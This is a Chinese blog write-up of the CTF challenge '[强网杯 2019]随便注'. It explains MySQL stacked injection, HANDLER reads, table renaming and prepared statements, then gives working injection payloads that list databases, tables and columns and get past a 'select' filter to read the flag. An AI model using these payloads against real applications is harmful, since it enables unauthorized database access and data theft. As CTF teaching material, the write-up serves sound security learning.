当前位置: 首页 > article >正文

[强网杯 2019]随便注 1

[强网杯 2019]随便注 1

审题

  1. 观察题目,判断可能是SQL注入,或者Linux命令执行,结合题目就是注入了

    image-20240112110017447

知识点

堆叠注入,handler命令执行,更改表名,预编译

知识点解析

  1. 堆叠注入

简单来说,堆叠注入就是按部就班一步步推出FLAG的位置。

首先,一般先查库名,再查表名。

然后,查出表名后查找表中的列。

最后求出列里的字段。

  1. handler命令

handler命令简介

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
HANDLER语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。

handler语句的一般语法

handler table_name open 打开一张表

handler table_name read first 读取这张表的第一行数据

handler table_name read next 读取这张表的后一行内容

handler table_name read index_name first(next,prev,last)。通过索引查看内容,first第一行,next获取下一行,prev获取前一行,last获取最后一行。

handler table_name read index_name = X 指定从X行开始。

handler table_name close 关闭打开的语句

  1. 更改表名

使用alter table old_table rename to new_table;

使用alter table table_name change old_name new_name 新数据类型;

  1. 预编译

格式:

prepare name from 'SQL语句';
set @x=xx;
execute name using @x;

查询ID=flag的用户:

方法一:
select*from table_user where user_ID = flag

方法二:
prepare XX from 'select*from t_user where user_ID = flag';
execute XX;

方法三:
prepare XX from 'select*from t_user where user_ID = ?';
set @ID = flag;
execute XX using @ID;

方法四:
set @X='select*from t_user where user_ID = flag';
prepare XX from @X;
execute XX;

解题

  1. 查库名,1’;show databases;#

image-20240112144630867

  1. 查表名,1’;show tables;#

image-20240112144719390

  1. 查列名,1’;show columns from 1919810931114514;#

image-20240112145020420

  1. 看到flag,但是select被过滤了,使用上面的知识进行答题。

方法一:handler命令

使用

1';handler `1919810931114514` open;handler `1919810931114514` read first;#

得到flag

方法二:更改表名

使用

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

将flag更改为word表中的id,在使用

1' or 1=1;#

直接得到答案。

方法三:预编译

使用

1';prepare XXX from concat('s','elect', ' * from `1919810931114514` ');execute XXX;#

使用命令拼出seclect得到答案。


http://www.kler.cn/a/388102.html

相关文章:

  • 网页web无插件播放器EasyPlayer.js点播播放器遇到视频地址播放不了的现象及措施
  • 超子物联网HAL库笔记:定时器[外部模式]篇
  • 【go从零单排】Mutexes互斥锁
  • 【Kafka 实战】如何解决Kafka Topic数量过多带来的性能问题?
  • Docker使用docker-compose一键部署nacos、Mysql、redis
  • 在Django中安装、配置、使用CKEditor5,并将CKEditor5录入的文章展现出来,实现一个简单博客网站的功能
  • 解决Mac M芯片 Wireshark 运行rvictl -s 后,出现Starting device failed
  • Java中的I/O模型——BIO、NIO、AIO
  • 华为大变革?仓颉编程语言会代替ArkTS吗?
  • 机器学习系列-----主成分分析(PCA)
  • Redis的内存淘汰机制
  • WPF在MVVM模式下怎么实现导航功能
  • 【SpringBoot】ThreadLocal线程空间上下文使用
  • Linux:版本控制器git的简单使用+gdb/cgdb调试器的使用
  • 【国内中间件厂商排名及四大中间件对比分析】
  • MySQL 程序设计课程复习大纲
  • Spring面向切面编程
  • 第4章 分离数据和指令-Claude开发应用教程
  • 2024最新软件测试面试热点问题
  • Oh My Posh安装
  • 07 P1164 小A点菜
  • Docker在CentOS上的安装与配置
  • 初识Electron 进程通信
  • PGMP-串串01概述
  • 数据分析:微生物功能差异分析之Maaslin2
  • 5分钟科普:AI网关是什么?应用场景是什么?有没有开源的选择?